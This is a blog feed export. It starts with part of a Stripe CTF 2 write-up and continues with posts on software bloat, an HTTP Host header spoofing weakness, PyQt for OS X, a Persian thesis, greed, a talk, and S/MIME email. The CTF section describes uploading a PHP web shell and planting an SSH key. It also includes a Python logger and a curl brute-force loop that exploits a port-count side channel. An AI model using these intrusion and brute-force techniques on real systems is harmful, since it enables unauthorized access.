Well this time you can&#8217;t just upload a PHP there. Endpoints should be on some host:port directly, not on some web folder. You have to obtain SSH access to level02 server. To do this, I first uploaded a PHP shell (Jackal) on the server. The server has very limited access as it has been secured to prevent any other means.

Now you have to store your SSH public key on server&#8217;s authorized hosts list, so that you can SSH there (it doesn&#8217;t accept passwords). To do this, copy the contents of the file ~/.ssh/id_rsa.pub from your computer to ~/.ssh/authorized_keys file on the server using the PHP shell.

Now you can ssh <strong>user-stsqneospz@level02-3.stripe-ctf.com</strong> and have remote control over it.

Then I used the following Python code to run a webserver as endpoint. This endpoint will do most of the dirty tricks:
<pre># the python endpoint server by AbiusX for Stripe CTF challenge 8
import string,cgi,time
from os import curdir, sep
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
class MyHandler(BaseHTTPRequestHandler):
    index=0
    lastport=None
    suspicious=[]
    def do_GET(self):
        return
    def do_POST(self):
        global postVars
        varLen = int(self.headers['Content-Length'])
        postVars = self.rfile.read(varLen)        
        self.send_response(200)
        self.send_header('Content-type',    'text/plain')
        self.end_headers()
        print self.client_address
        host,port=self.client_address
        self.wfile.write("POST OK\n");
        self.wfile.write("Data: "+str(postVars));

        if (self.lastport is not None):
            portdiff=port-MyHandler.lastport
        else:
            portdiff=0

        #if (self.index is None): self.index=0;
        with open("log.txt","a") as myfile:
            myfile.write(str(self.index)+" ("+str(portdiff)+") "+str(postVars)+"\n");
        if (portdiff!=3): #the number here depends on the chunk
            MyHandler.suspicious.append(MyHandler.index);
        MyHandler.index+=1;
        MyHandler.lastport=port
        return

def main():
    try:
        server = HTTPServer(('', 8010), MyHandler)
        print 'started httpserver...'
        server.serve_forever()
    except KeyboardInterrupt:
        print '^C received, shutting down server'
        print "Suspicious list:\n"
        print MyHandler.suspicious
        server.socket.close()

if __name__ == '__main__':
    main()</pre>
What it does is it gets a request and stores the incoming address and port and all the request data in a log file. As a matter of fact, it doesn&#8217;t store the actual port numbers, but the difference between the new port number and the last port number. It also stored an continues index number at start of each line on the log file.

I provide this as the endpoint, <strong>level02-3.stripe-ctf.com:8010</strong>, which the Python web server described above. The reason for storing port differences is what solves this problem.

<strong>The Idea</strong>

The application on this challenge, makes one more network connections if a chunk is valid, in par with when it is not. For example consider we provide a password where first chunk is invalid, it sends this chunk to first chunk server and gets a failure. Now if it is valid, it is sent to the chunk server and result is true, so the next chunk is sent to the next chunk server, hence one extra network connection.

Now using a brute-force algorithm we can find first chunk by sending 000000000000 up to 999000000000 respectively to the server, and then viewing the log file of our server to see which one has one different port increment than the other ones. Since there are indexes on the log file, we could then link them back to our original numbers.

This could be repeated for the 2nd and 3rd chunk, and for the 4th we just have to brute force for the actual True result.

Unfortunately, there is a lot more network activity on the server and there are many indexes with larger than usual port uses, so we&#8217;re gonna run this brute-force a few times for each chunk until we have only one candidate. The suspicious array in the server is used for that, it stores all the indices that have more than default (2,3,4) port connections, then outputs them, so that we can brute-force again only using those values.

Every time we run this brute force, values are reduced until there&#8217;s only one left. This whole process took almost 1 hours for me. Here&#8217;s the brute-force code:
<pre>import os
url="https://level08-4.stripe-ctf.com/user-stsqneospz/"
webhook='level02-3.stripe-ctf.com:8010'
for passsection in xrange(0,1000):
  password='165774000%s'%str(passsection)
  data='{"webhooks":["%s"],"password":"%s"}'%(webhook,password);
  command="curl '%s' -d '%s'"%(url,data); 
  print command
  res=os.system(command);
  print res;</pre>
I hope you had fun reading through this post.

<a href="http://abiusx.com/blog/wp-content/uploads/2012/08/stripe-ctf-winner.png"><img class="aligncenter size-medium wp-image-777" title="stripe-ctf-winner" src="http://abiusx.com/blog/wp-content/uploads/2012/08/stripe-ctf-winner-300x204.png" alt="" width="300" height="204" /></a>]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/stripe-ctf-2-web-challenges/feed/</wfw:commentRss>
		<slash:comments>76</slash:comments>
		</item>
		<item>
		<title>Software Bloats: epic failure and how to prevent it</title>
		<link>http://abiusx.com/software-bloats-epic-failure-and-how-to-prevent-it/</link>
		<comments>http://abiusx.com/software-bloats-epic-failure-and-how-to-prevent-it/#comments</comments>
		<pubDate>Mon, 13 Aug 2012 16:44:24 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[Computer]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[Agile Method]]></category>
		<category><![CDATA[Bloating]]></category>
		<category><![CDATA[Code Bloats]]></category>
		<category><![CDATA[Prevent Bloating]]></category>
		<category><![CDATA[Software Bloating]]></category>
		<category><![CDATA[Software Bloats]]></category>
		<category><![CDATA[TextEdit]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=752</guid>
		<description><![CDATA[Bloating is one of the most fatal horrors that can happen to a piece of software. It is when you have a nice working software that everyone loves, and then you start adding odd crazy features into the software that nobody but you (who spent numerous hours thinking how you could reach perfection in your [...]]]></description>
				<content:encoded><![CDATA[Bloating is one of the most fatal horrors that can happen to a piece of software. It is when you have a nice working software that everyone loves, and then you start adding odd crazy features into the software that nobody but you (who spent numerous hours thinking how you could reach perfection in your software) needs or uses.

It might seem not very likely but believe me, if you don&#8217;t shackle your thoughts, you&#8217;ll definitely bloat it. For example, consider Apple TextEdit, which is somewhat a counterpart of Notepad on Mac OS X.

TextEdit was a very powerful tool, yet simple enough for taking a few notes. It could open MS Word documents and other RTF-like formatted documents, as well as pure ASCII text files and it would automatically recognize the encoding and save with the appropriate encoding, all without the need to go through application preferences.

Now they have added Versions and a lot of other magical stuff to TextEdit (as well as many fundamental OS X apps such as Preview), and it takes ages (in comparison to a nerd&#8217;s typing speed) for it to open, save, close and behave. Personally I haven&#8217;t used Versions once in this whole year I&#8217;ve been having OS X 10.7 Lion, and I don&#8217;t think everybody else has, that&#8217;s why most people hate Versions (dare Google it!).

Another case would be Mozilla Thunderbird, which is a magnificent piece of software, but I strongly doubt that anyone unfamiliar with the mechanics of modern EMailing protocols could cope with it.

Thunderbird is a strong Mail client capable of almost anything, but I bet half of my blog readers won&#8217;t be able to start checking their mail with it. It wasn&#8217;t like that in the first few versions, but the developers got involved in the software so deep they could only see the world as an EMailing infrastructure, and anyone has to know whats the difference between IMAP and POP3 to drive in their world.
<h3>How to prevent it</h3>
They say that people use 20% of a software&#8217;s features 80% of their time, so bloating will just make this percentage look uglier. The best method to prevent bloating AFAIK is to go agile, this way you would only implement what your customer needs and uses, and if they didn&#8217;t like it, you would either change it or dump it.

<span id="more-752"></span>

If you&#8217;re not agile, go for your customer feedbacks. Search through forums on the web and check what people think of your software and its flaws. 90% of the time, people are arguing about something <em>that is there but shouldn&#8217;t be</em> and 10% they are telling you to add features to the software.

Keep your software shiny and polished. It&#8217;s like a car, if you drive it every day, and you add some jumble bumble to it once a day, and keep doing so for a whole year, you&#8217;re gonna have a messy car you&#8217;re very comfortable with but anyone else would panic to sit in that goo pile, let alone drive it.

If you&#8217;re going to make your software better, don&#8217;t add features. I know your head is boggling with ideas on how to add things to your software every night you want to go to bed, but for everyone&#8217;s sake please cut the thought.

Try to polish what you already have there, and add features when they are really necessary. When people go out (on the Web of course!) to shop for software, they choose the one which is most user friendly -and also has bare minimum required features of that genre of software- and dump everything that is hard to start getting along with. It&#8217;s a fact, don&#8217;t fool yourself.

For example I love all OmniGroup products though many of them might lack certain advanced features but I can always find my way around them without any hassle and I think their huge customer base thinks just the same.

&nbsp;]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/software-bloats-epic-failure-and-how-to-prevent-it/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>HTTP Host Alteration Attack</title>
		<link>http://abiusx.com/http-host-alteration-attack/</link>
		<comments>http://abiusx.com/http-host-alteration-attack/#comments</comments>
		<pubDate>Sun, 15 Jul 2012 22:54:15 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[Computer]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Host Alteration]]></category>
		<category><![CDATA[Host Header]]></category>
		<category><![CDATA[HTTP Host]]></category>
		<category><![CDATA[HTTP Host Forging]]></category>
		<category><![CDATA[IRUnfilter]]></category>
		<category><![CDATA[OWASP]]></category>
		<category><![CDATA[PHP Security]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=747</guid>
		<description><![CDATA[While I was thinking about certain ways of summarizing CSRF prevention for OWASP PHP Security Cheat Sheet - mixing taint tracking with different request criteria &#8211; I found a certain type of attack against certain high-level web applications and frameworks, which I named it HTTP Host Alteration Attack. Many web appl1ications rely on the HTTP host (accessible [...]]]></description>
				<content:encoded><![CDATA[While I was thinking about certain ways of summarizing CSRF prevention for <a title="OWASP PHP Security Cheat Sheet" href="https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet">OWASP PHP Security Cheat Sheet</a> - mixing taint tracking with different request criteria &#8211; I found a certain type of attack against certain high-level web applications and frameworks, which I named it <strong>HTTP Host Alteration Attack</strong>.

Many web appl1ications rely on the HTTP host (accessible via $_SERVER['HTTP_HOST'] in PHP) to determine their running environment, e.g development or deployment. For example, if HTTP_HOST is <em>localhost</em>, <em>127.0.0.1</em>, or <em>192.168.*.*,</em> the application is presumably running in development mode, so it would dump error details, SQL queries, profiling details and more importantly, stack traces.

When the application is running on a deployment server, it logs errors instead of dumping them, and reduces critical details on the screen. Also credentials for connecting to the database and other 3rd party tools are different on development and deployment servers.

The code snippet below, taken from earlier versions of the almighty jFramework, is used to determine the running state of the application:
<blockquote>if (jURL::HTTPHost()==&#8221;localhost&#8221;)

reg(&#8220;app/state&#8221;,&#8221;develop&#8221;);

elseif (strpos(jURL::HTTPHost(),&#8221;jframework.info&#8221;)!==false) #replace this with your site

reg(&#8220;app/state&#8221;,&#8221;deploy&#8221;);

elseif (php_sapi_name()==&#8221;cli&#8221;)

reg(&#8220;app/state&#8221;,&#8221;develop&#8221;);

else

trigger_error(&#8220;No running state determined.&#8221;);</blockquote>
Then the rest of application behaviors are determined by this state. Now what the developer (embarrassingly myself) had forgotten there, was that HTTP Host is provided with the HTTP Request, and though it is part of the standard HTTP protocol and should ALWAYS be provided and valid, can easily be forged by an attacker.

I became aware of this issue while using my Mozilla Add-on, <a title="IRUnfilter Mozilla Add-on" href="https://addons.mozilla.org/en-us/firefox/addon/irunfilter/">IRUnfilter</a>, to get around Iran&#8217;s Internet restrictions. IRUnfilter removes the Host header from HTTP Request &#8211; which is used by government to determine if a site is allowed or not &#8211; and sends the request to a web proxy outside Iran, which effectively replaces the host header with the valid value. Now if you skip the proxy and visit a jFramework powered website using it, the &#8220;No running state determined.&#8221; error would pop-up.

An attacker could simply replace the Host header instead of removing it, with something fabulous such as &#8220;localhost&#8221;, to get &#8220;Development&#8221; access to the deployed application. I was about to advertise jFramework&#8217;s old method of determining the state in OWASP&#8217;s wiki, but fortunately I was a little busy and started to realize this issue before publishing it to the world!]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/http-host-alteration-attack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PyQtX, binary PyQt distributions for Mac OS X</title>
		<link>http://abiusx.com/pyqtx-binary-pyqt-distributions-for-mac-os-x/</link>
		<comments>http://abiusx.com/pyqtx-binary-pyqt-distributions-for-mac-os-x/#comments</comments>
		<pubDate>Sun, 08 Jul 2012 17:33:23 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[Computer]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[Binary PyQt]]></category>
		<category><![CDATA[PyQt]]></category>
		<category><![CDATA[PyQt on Mac OS X]]></category>
		<category><![CDATA[PyQtX]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[Python on OS X]]></category>
		<category><![CDATA[Qt]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=743</guid>
		<description><![CDATA[Qt is a rather magnificent and silent framework. Every application I tend to find amusing and well developed, is based on Qt, but nobody really knows that. There&#8217;s not much boasting around it, as it is around .NET Framework. As a few examples, VLC, Google Earth, VirtualBox and the whole KDE desktop and all of [...]]]></description>
				<content:encoded><![CDATA[Qt is a rather magnificent and silent framework. Every application I tend to find amusing and well developed, is based on Qt, but nobody really knows that. There&#8217;s not much boasting around it, as it is around .NET Framework.

As a few examples, VLC, Google Earth, VirtualBox and the whole KDE desktop and all of its applications, are based on Qt. Nowadays Qt provides cross-platform programming for Windows, OS X, Linux, Symbian, Android (beta), Windows Mobile (beta) in a dozen programming languages (C++, Python, Java, Ruby, PHP, etc.).

Compared to GTK it is very well designed and provides for a magnificent quality of code. Unfortunately based language for Qt is C++, which is not really suitable for most of todays applications, since they rarely require that much performance and low level access.

Python on the other hand, is the jewel of high level programming languages. PyQt, is a robust Qt binding for Python, provided by Riverbank Computing. PyQt is installable in Ubuntu linux with just a few apt commands. There is also a stable Windows installer with Qt libraries included. Unfortunately until now there were no OS X binary distros, and compiling PyQt on OS X was a big hassle.

I have a separate post on how to compile the pile on OS X, but no need for that as I have published PyQtX, the binary distributions of PyQt on OS X, which is available both on Riverbank Computing&#8217;s PyQt download page and sourceforge.net at the following address:
<p style="text-align: center;"><a title="PyQtX binary distributions for OS X" href="https://sourceforge.net/projects/pyqtx/">sourceforge.net/projects/pyqtx</a></p>
<p style="text-align: left;">If you live on a Mac OS X, and you are a developer, this is a must have. You need Python 2.7 for this to use (obtain from official website).</p>]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/pyqtx-binary-pyqt-distributions-for-mac-os-x/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Secure Web Application Framework (in Persian)</title>
		<link>http://abiusx.com/secure-web-application-framework-in-persian/</link>
		<comments>http://abiusx.com/secure-web-application-framework-in-persian/#comments</comments>
		<pubDate>Sun, 08 Jul 2012 11:24:09 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[Computer]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[اینترنت]]></category>
		<category><![CDATA[توسعه نرم افزار]]></category>
		<category><![CDATA[علمی]]></category>
		<category><![CDATA[کامپیوتر]]></category>
		<category><![CDATA[Application Security]]></category>
		<category><![CDATA[Bachelor's Thesis]]></category>
		<category><![CDATA[Document]]></category>
		<category><![CDATA[Free Document]]></category>
		<category><![CDATA[Free Thesis]]></category>
		<category><![CDATA[jFramework]]></category>
		<category><![CDATA[OWASP]]></category>
		<category><![CDATA[Secure Web]]></category>
		<category><![CDATA[Security Expert]]></category>
		<category><![CDATA[Thesis]]></category>
		<category><![CDATA[Web Security]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=740</guid>
		<description><![CDATA[I just finished my Bachelor&#8217;s thesis with the topic &#8220;Secure Web Application Framework&#8221;, unfortunately it&#8217;s in Persian, thus only Persian readers can enjoy it. It&#8217;s about 200 pages, which about half of it review web concepts (theory and practice) from a security perspective. The other half has mostly advanced theory/practice about web security and the [...]]]></description>
				<content:encoded><![CDATA[I just finished my Bachelor&#8217;s thesis with the topic &#8220;Secure Web Application Framework&#8221;, unfortunately it&#8217;s in Persian, thus only Persian readers can enjoy it.

It&#8217;s about 200 pages, which about half of it review web concepts (theory and practice) from a security perspective. The other half has mostly advanced theory/practice about web security and the secure framework around it (with respect to an actual web application framework).

Unfortunately I was pushed hard by the deadline for this, and it&#8217;s not what I could call a thesis done by me, but this is probably 10 times better than any other. A glossary of the terms is also included as an appendix.

&nbsp;

I did this thesis based on my 5 years of active career as a security expert, my 4.5 years of active OWASP participation (with a lot of code review, coding and standard review on many projects such as ESAPI, ASVS, WebGoat, etc.) and my 3 years of lead developer in jFramework.

I bet it will be interesting <img src='http://abiusx.com/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> 
<p style="text-align: center;"><a title="Abbas Naderi Afooshteh Bachelor's Thesis - Secure Web Application Framework" href="/archive/document/BS-Thesis1.2.pdf">Click here to view/download</a></p>
<p style="text-align: left;"><span id="more-740"></span>PS.</p>
<p style="text-align: left;">This document is considered a draft by me yet. Please address any issues/feedback to me so that I can fix this. I might complete this and publish it as a book.</p>]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/secure-web-application-framework-in-persian/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Greed is Good</title>
		<link>http://abiusx.com/greed-is-good/</link>
		<comments>http://abiusx.com/greed-is-good/#comments</comments>
		<pubDate>Tue, 26 Jun 2012 19:49:36 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[Cynic]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[cure for cynicism]]></category>
		<category><![CDATA[Cynicism]]></category>
		<category><![CDATA[cynicism cure]]></category>
		<category><![CDATA[deadly sins]]></category>
		<category><![CDATA[Greed]]></category>
		<category><![CDATA[Greed is Good]]></category>
		<category><![CDATA[greedisgood]]></category>
		<category><![CDATA[is greed evil]]></category>
		<category><![CDATA[money]]></category>
		<category><![CDATA[motivation]]></category>
		<category><![CDATA[passion]]></category>
		<category><![CDATA[Taming Greed]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=735</guid>
		<description><![CDATA[This is not about the digital world, neither about the sin or religion, but it&#8217;s good to read. I&#8217;m gonna declare a cure for cynicism here on this post. Whether you&#8217;re a Christian or a Muslim (or even irreligious), you most probably believe Greed to be a bad thing, and a deadly sin perhaps. Since [...]]]></description>
				<content:encoded><![CDATA[This is not about the digital world, neither about the sin or religion, but it&#8217;s good to read. I&#8217;m gonna declare a cure for cynicism here on this post.

Whether you&#8217;re a Christian or a Muslim (or even irreligious), you most probably believe Greed to be a bad thing, and a deadly sin perhaps. Since I was a child, I always defied my own greed and tried to be as indifferent about excessive growth as possible, to control greed and not letting it grow it&#8217;s roots inside of me, taking control.

But Muslim scholars have an alternate belief, that nothing in this world is purely evil &#8211; not even sins or devil himself &#8211; and everything is for the good of something. That one I didn&#8217;t keep in mind while I was wrestling that wicked creature&#8230;

Now I&#8217;m greedless. I&#8217;ve been greed-free for a dozen years, and nothing seems to really interest me. I&#8217;ve had my chances of acquiring huge wealth, power and status and I&#8217;ve grasped them from time to time, but always let go way before it actually meant something.

I&#8217;ve also been a cynic for a dozen years, with no interesting point in my life. Don&#8217;t take me wrong, I&#8217;m very dedicated, motivated and hardworking and mostly successful too, I just don&#8217;t see a point. I&#8217;m not passionate about anything. I don&#8217;t love doing stuff. I don&#8217;t even like it. I just know what is good to be done, so I do it.

Out of nowhere, I realized that being greed-free is my problem. No greed causes cynicism. Greed is Good for motivation, for passion, for progress and for life. It&#8217;s not just good, it is mandatory. Let me tell you a story&#8230;

On my first trip to Iraq, me and a couple friends visited Bazaar to buy some goods and souvenir to bring for our families. The shopkeepers at the Bazaar seemed very odd in our point of view, they had no desire to sell their goods to us; they had no greed. We intended to spend considerable money, yet nobody was interested. We had to pick the goods ourselves, package them, count them and pay the price for them. To make it more weird, one of the shoppers left his shop in the middle of our progress!

I started thinking, why would they want more money? There&#8217;s nothing they can get with more money. All they want &#8211; and could have &#8211; with their lives is an air conditioner, a house, and some basic food, which are all available for free there.

A couple years later, on my second trip to Iraq, we also wanted some souvenir, but this time things were different. The United States had established it&#8217;s infrastructure in Iraq, and people were greedy now. You could see the greed glowing in their eyes. They craved for money. Things were much more expensive. Money was suddenly more important than anything else. Greed had the sovereign.

Greed, like any other human emotion and desire, is a horse to tame, not a bug to kill or a weakness to destroy. Greed will devour one if it is not tamed, and can be exploited as a weakness, yet without it one can not proceed well.]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/greed-is-good/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Speaking Session at Tarbiat Moalem University</title>
		<link>http://abiusx.com/speaking-session-at-tarbiat-moalem-university/</link>
		<comments>http://abiusx.com/speaking-session-at-tarbiat-moalem-university/#comments</comments>
		<pubDate>Tue, 03 Apr 2012 01:54:35 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Abbas Naderi]]></category>
		<category><![CDATA[Ehsan Malekian]]></category>
		<category><![CDATA[Epistemologic Information Security]]></category>
		<category><![CDATA[Epistemology]]></category>
		<category><![CDATA[Information Security]]></category>
		<category><![CDATA[Session]]></category>
		<category><![CDATA[Speaking]]></category>
		<category><![CDATA[Tarbiat Moalem]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=725</guid>
		<description><![CDATA[The next Monday, 21st Farvardin (Jalali) I&#8217;ll be having a speaking session at Tarbiat Moalem (aka Kharazmi) University, set up by my dearly respected professor, Dr. Ehsan Malekian. I&#8217;ll be covering some aspects of Epistemology combined with theories and practices of information security, and a general discussion of what is yet to come. The session [...]]]></description>
				<content:encoded><![CDATA[<p dir="ltr">The next Monday, 21st Farvardin (Jalali) I&#8217;ll be having a speaking session at Tarbiat Moalem (aka Kharazmi) University, set up by my dearly respected professor, Dr. Ehsan Malekian.</p>
<p dir="ltr">I&#8217;ll be covering some aspects of Epistemology combined with theories and practices of information security, and a general discussion of what is yet to come.</p>
<p dir="ltr">The session is held at 10:00 AM at Computer Engineering Department, the computer site.</p>
<p dir="ltr">Hope to see you people there</p>
<p dir="ltr">P.S: Tarbiat Moalem university is located at Karadj city, Hesarak sq.</p>]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/speaking-session-at-tarbiat-moalem-university/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Certified E-Mail with Comodo and Thunderbird</title>
		<link>http://abiusx.com/certified-e-mail-with-comodo-and-thunderbird/</link>
		<comments>http://abiusx.com/certified-e-mail-with-comodo-and-thunderbird/#comments</comments>
		<pubDate>Fri, 10 Feb 2012 19:15:02 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Comodo Email Certificate]]></category>
		<category><![CDATA[Digital Signature]]></category>
		<category><![CDATA[e-mail]]></category>
		<category><![CDATA[Electronic Mail]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[Encrypt Email with Thunderbird]]></category>
		<category><![CDATA[Encrypted e-mail]]></category>
		<category><![CDATA[Encrypted Email]]></category>
		<category><![CDATA[Free Email Certificate]]></category>
		<category><![CDATA[Howto]]></category>
		<category><![CDATA[Mail Client]]></category>
		<category><![CDATA[Mail Server]]></category>
		<category><![CDATA[MIME]]></category>
		<category><![CDATA[Mozilla Thunderbird]]></category>
		<category><![CDATA[Public Key Cryptography]]></category>
		<category><![CDATA[S/MIME]]></category>
		<category><![CDATA[Seal Email]]></category>
		<category><![CDATA[Sign Email with Thunderbird]]></category>
		<category><![CDATA[Signed e-mail]]></category>
		<category><![CDATA[Signed Email]]></category>
		<category><![CDATA[Thunderbird Security]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=718</guid>
		<description><![CDATA[This is intended to be a theoretical/practical tutorial on how to use email certificates to encrypt and digitally sign your emails. There are approximately 2 million emails transferred every hour, out of which 80% are spam, and the email world is really creepy, so I strongly recommend you to read the rest of this post. [...]]]></description>
				<content:encoded><![CDATA[<p dir="ltr">This is intended to be a theoretical/practical tutorial on how to use email certificates to encrypt and digitally sign your emails. There are approximately 2 million emails transferred every hour, out of which 80% are spam, and the email world is really creepy, so I strongly recommend you to read the rest of this post.</p>
<p dir="ltr">First of all, let&#8217;s cover some theory. There are three Internet protocols involved in sending and receiving emails: <strong><a href="http://en.wikipedia.org/wiki/Smtp">SMTP</a>, <a href="http://en.wikipedia.org/wiki/Imap">IMAP</a>, <a title="Post Office Protocol" href="http://en.wikipedia.org/wiki/Pop3">POP</a></strong></p>
<p dir="ltr"><strong>S</strong>imple <strong>M</strong>ail <strong>T</strong>ransfer <strong>P</strong>rotocol is the one responsible for sending emails. An email client &#8211; where you compose your email, set recipients, attach files, etc. &#8211; sends your email data to a mail server via SMTP. The protocol is fairly simple and the only things worth mentioning is that it can do that under SSL (encrypted connection to server to transfer mail) and use Password Authentication to separate accounts.</p>

<h3 dir="ltr">Pactical Scenario: GMail</h3>
<p dir="ltr">Most of us have used GMail, via creating an account in gmail.com and logging in there. It is very important to know that gmail.com is GMail Client, and smtp.gmail.com is GMail Server. When you log into the GMail, you access its client application, and do your stuff there. Since both client and server applications are on the same machine (Google Servers), your work is quickly sent to the server, that&#8217;s why you usually don&#8217;t notice.</p>
<p dir="ltr">Everybody can setup a Mail Server on their machine. Famous mail server applications are Microsoft Outlook for Windows and <a title="Exim4" href="http://www.exim.org/">Exim</a> and <a href="http://www.postfix.org/">Postfix</a> for Linux machines. GMail uses neither and has a custom coded server. You don&#8217;t need to provide a password to a mail server, neither you have accounts there. You can send <strong>any email</strong> from any server to any server, i.e you can send email from admin@facebook.com with any body you want to me@abiusx.com. It&#8217;s just a packet of data with a name on it (just like ordinary mail).</p>
<p dir="ltr">Famous servers like GMail, that deal with millions of users and lots of spam, implement technologies that require you to login, have accounts and do things lawfully. Other servers don&#8217;t. Mail that doesn&#8217;t follow GMail and other famous mail server&#8217;s rules, are usually treated as spam.</p>

<h3 dir="ltr">Back to the theory</h3>
<p dir="ltr"><strong>POP</strong> usually used as POP3, is the old-school mail receiving protocol. Mail client uses this protocol to download all mails from the server. The protocol is very handicapped and weak, much like <a href="http://en.wikipedia.org/wiki/FTP">FTP</a>.</p>
<p dir="ltr"><strong>IMAP </strong>on the other hand is a pretty recent and powerful mail receiving protocol, so basically POP and IMAP are replacements of each other. There were days when not many mail servers provided IMAP to their clients, now almost every web server provides full IMAP support. GMail&#8217;s IMAP is accessible at imap.gmail.com (Keep in mind that this is the domain for IMAP protocol, and not HTTP, so heading your browser to it would not bring up anything)</p>
<p dir="ltr"><span id="more-718"></span></p>
<p dir="ltr" style="text-align: center;">* * *</p>
<p dir="ltr" style="text-align: left;">Today, many important interactions are done electronically. You can even buy cars online, and all of this involves some emailing. The providers email you your balance sheet, your username/password, your instructions for your education, your contest results and many many other things.</p>

<h3 dir="ltr">Theory: The problem(s)</h3>
<p dir="ltr" style="text-align: left;"><strong>1. </strong>Now consider something bad happens, such as a hacker forges an email from your university, telling you that you&#8217;re fired and can not continue your education, or that you need to pay certain money to a certain bank account. You have no way of telling if it&#8217;s legit -sent by the university- or fake (remember, email is just mail in bytes, and as forge-able as mail).</p>
<p dir="ltr" style="text-align: left;"><strong>2. </strong>The other bad thing that might happen is, eavesdroppers and even your mail provider, would read your mail and extract content form it. You can be quite certain that every picture, every piece of information, every Word document and everything else you send through GMail is deeply analyzed by Google and stored to be handed over to CIA, NSA, etc. It doesn&#8217;t matter if your own email is @gmail.com or your recipient&#8217;s, either way your email passes through GMail servers.</p>
<p dir="ltr" style="text-align: left;">Even if you have your own Mail Server (like my mail.abiusx.com), when you send/receive email, your message is passed through many email posts around the globe, and they seem to do the same analysis.</p>

<h3 dir="ltr">Theory: The solution</h3>
<p dir="ltr">To stop forgery, you need to actually prevent two things: Manipulation of your message headers (who it is from) and manipulation of your message content (what it contains).</p>
<p dir="ltr"><a href="http://en.wikipedia.org/wiki/Digital_signature">Digital Signature</a>, is the well known solution, which provides both <a href="http://en.wikipedia.org/wiki/Authentication">Authenticity</a> (proving who the signature really belongs to) and <a href="http://en.wikipedia.org/wiki/Data_integrity">Integrity</a> (not a single dot in the message is changed). The mechanics of Digital Signature are quite complex, yet they rely on Public Key Cryptography.</p>
<p dir="ltr"><a href="http://en.wikipedia.org/wiki/Public_key_cryptography">Public Key Cryptography</a>, provides us with a system having a pair of keys, the Private Key, and the Public Key. Everything that is locked with either is only unlockable by the other, e.g if you encrypt a message with someone&#8217;s public key, the message can only be decrypted by his private key -which is in fact only in his own hands-.</p>
<p dir="ltr">Unfortunately, to use everything related to the Public Key Cryptography, we need to use <a href="http://en.wikipedia.org/wiki/Public_key_infrastructure">PKI</a> (Public Key Infrastructure), and to use PKI, we need to obtain a SSL Certificate (Which contains our information and our public key, but not our private key). SSL Certificates are considered a luxury and are quite expensive for individuals (approximately $100 a year for every single use case).</p>
<p dir="ltr">Fortunately, <a href="http://comodo.com/">Comodo</a> is providing free email certificates so that everybody can send digitally signed emails.</p>
<p dir="ltr">To handle the second problem, we need encryption. We have to encrypt our email body, in a way that only our final target can decrypt and read it. Since email is not live, we can&#8217;t agree on a particular key and transfer data encrypted with it, and more importantly, our target usually is not aware of us sending an email to him.</p>
<p dir="ltr">To encrypt the message in a way that only our specific target can read it, we need to have his public key (which is included in his certificate) and encrypt the message with it, ensuring that only he himself can decrypt it with his private key. Unfortunately, there is no online database having certificates of all emails, so we need a means to obtain our targets certificate before we can send him encrypted messages.</p>
<p dir="ltr">This is particularly easy, considering every digitally signed message contains a copy of signer&#8217;s certificate at the bottom, so if we are using a modern mail client (2010+, when <a href="http://en.wikipedia.org/wiki/SMIME">S/MIME</a> was standardized by IETF) and we receive a digitally signed email from someone, and we ourselves have a digital certificate (to sign our own messages), our mail client automatically stores that &#8220;someone&#8217;s&#8221; certificate so that from then on, we can send him encrypted emails.</p>
<p dir="ltr">Now enough with the theory babble, off to enjoying the real deal:</p>

<h3 dir="ltr">Practice: Let&#8217;s send and receive encrypted, signed email</h3>
<p dir="ltr">First of all, we have to <strong>have a modern mail client</strong>. Unfortunately, neither GMail&#8217;s web-based client nor Yahoo&#8217;s web-based clients support S/MIME yet. I myself strongly recommend you to use the mighty <a title="Download Thunderbird" href="http://www.mozilla.org/en-US/thunderbird/">Mozilla Thunderbird</a>, the best mail client I have seen after Apple&#8217;s Mail (which only runs on a Mac).</p>
